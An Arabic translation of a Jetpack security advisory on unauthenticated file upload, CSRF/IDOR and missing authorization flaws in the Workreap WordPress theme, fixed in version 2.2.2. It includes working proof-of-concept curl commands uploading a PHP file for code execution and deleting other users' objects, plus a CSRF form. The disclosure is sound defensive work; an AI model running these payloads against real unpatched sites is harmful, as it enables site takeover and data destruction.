نقاط ضعف متعددة في موضوع Workreap بواسطة Amentotech

نشرت: 2021-07-07

وجد فريق Jetpack مؤخرًا بعض الملفات المصابة في أحد مواقع عملائنا المستضافة ، وتتبع سريعًا مصدر العدوى إلى سمة Workreap بواسطة Amentotech. بدأنا تحقيقًا واكتشفنا عددًا من نقاط نهاية AJAX الضعيفة في الموضوع ؛ كان أخطر هذه الثغرات هو ثغرة تحميل غير مصدق عليها غير مؤكدة من المحتمل أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد والاستيلاء على الموقع بالكامل.

لقد أبلغنا فريق Amentotech عن الثغرات الأمنية عبر برنامج Envato Helpful Hacker ، وتم التعامل مع المشكلات على الفور من قبلهم. تم إصدار الإصدار 2.2.2 من السمة في 29 يونيو 2021 والذي يعمل على إصلاح الثغرات الأمنية التي تم العثور عليها.

TL ؛ DR

نظرًا لخطورة الثغرات الأمنية ، نوصي بشدة جميع مستخدمي سمة Workreap بالترقية إلى الإصدار 2.2.2 أو إصدار لاحق في أسرع وقت ممكن.

قم بتنزيل الترقية من موقع الويب الخاص بالسمات وقم بتثبيتها يدويًا ، أو قم بالترقية تلقائيًا عبر المكون الإضافي Envato market.

تفاصيل

اسم الموضوع: Workreap
عنوان URI للموضوع: http://amentotech.com/projects/wpworkreap
المؤلف: Amentotech
عنوان URI للمؤلف: https://themeforest.net/user/amentotech/portfolio

نقاط الضعف

نظرًا لخطورة الثغرات الأمنية ، سنؤخر نشر إثبات المفهوم والتحليل الكامل لمنح المستخدمين الوقت للترقية.

تحميل غير مصدق يؤدي إلى تنفيذ التعليمات البرمجية عن بعد

الإصدارات المتأثرة: <2.2.2
معرف CVE: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284 ، CWE-641 ،
CWSS: 90.7
رابط WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

لم تُجر إجراءات AJAX workreap_award_temp_file_uploader و workreap_temp_file_uploader عمليات تحقق غير رسمية ، أو تتحقق من أن الطلب من مستخدم صالح بأي طريقة أخرى. نقاط النهاية المسموح بها لتحميل ملفات عشوائية إلى دليل uploads/workreap-temp . لم يتم تطهير الملفات التي تم تحميلها أو التحقق من صحتها ، مما يسمح للزائر غير المصدق بتحميل التعليمات البرمجية القابلة للتنفيذ مثل نصوص php.

إثبات المفهوم

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

نقاط ضعف متعددة في CSRF + IDOR

الإصدارات المتأثرة: <2.2.2
معرف CVE: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283 ، CWE-284 ، CWE-862
CWSS: 78.3
رابط WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

تفتقر العديد من إجراءات AJAX المتوفرة في سمة Workreap إلى حماية CSRF ، فضلاً عن السماح بمراجع الكائنات المباشرة غير الآمنة (IDOR) التي لم يتم التحقق من صحتها. يسمح هذا للمهاجم بخداع مستخدم قام بتسجيل الدخول لإرسال طلب POST إلى الموقع المعرض للخطر ، مما قد يؤدي إلى تعديل أو حذف كائنات عشوائية على الموقع المستهدف.

في الإصدارات التي سبقت 2.0.0 ، كانت هذه الإجراءات تفتقر إلى المصادقة تمامًا ، وكانت قابلة للاستغلال من قبل أي زائر للموقع.

إثبات المفهوم

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

عمليات التحقق من التفويض مفقودة في إجراءات AJAX

الإصدارات المتأثرة: <2.2.2
معرف CVE: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283 ، CWE-862
CWSS: 68.5
رابط WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

كانت العديد من إجراءات AJAX المتاحة في نسق Workreap تفتقد إلى فحوصات التفويض للتحقق من أن المستخدم مصرح له بأداء عمليات مهمة مثل تعديل الكائنات أو حذفها. سمح ذلك للمستخدم الذي قام بتسجيل الدخول بتعديل أو حذف كائنات تخص مستخدمين آخرين على الموقع.

في الإصدارات السابقة لـ 2.0.0 ، تفتقر هذه الإجراءات إلى المصادقة تمامًا وكانت قابلة للاستغلال من قبل أي زائر للموقع.

إثبات المفهوم

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

الجدول الزمني

2021-06-24: اكتشف فريق Jetpack Scan ثغرة أمنية أولية في التحميل ، وتم الإبلاغ عنها لبرنامج Envato Helpful Hacker.
2021-06-25: تم اكتشاف المزيد من الثغرات الأمنية ، أبلغت Amentotech عبر Envato.
2021-06-27: تم إصدار الإصدار 2.2.1 ، وعالج بعض نقاط الضعف وليس كلها.
2021-06-29: تم إصدار الإصدار 2.2.2 والتحقق من الإصلاحات بواسطة فريق Jetpack Scan.

خاتمة

نوصي بالتحقق من الإصدار الحالي من نسق Workreap الذي تستخدمه على موقعك ، وإذا كان أقل من 2.2.2 ، فقم بتحديثه في أقرب وقت ممكن!

في Jetpack ، نعمل بجد للتأكد من حماية مواقع الويب الخاصة بك من هذه الأنواع من الثغرات الأمنية. للبقاء متقدمًا بخطوة واحدة على أي تهديدات جديدة ، تحقق من Jetpack Scan ، والذي يتضمن فحصًا أمنيًا وإزالة البرامج الضارة تلقائيًا.

الاعتمادات

الباحث الأصلي: Harald Eilertsen

شكرًا لبقية فريق Jetpack Scan على التعليقات والمساعدة والتصحيحات. شكرًا أيضًا لـ kailoon من برنامج Envato Helpful Hacker للمساعدة في الوصول إلى Amentotech و Amentotech للاستجابة السريعة في معالجة المشكلات وإصدار النسخة المحدثة.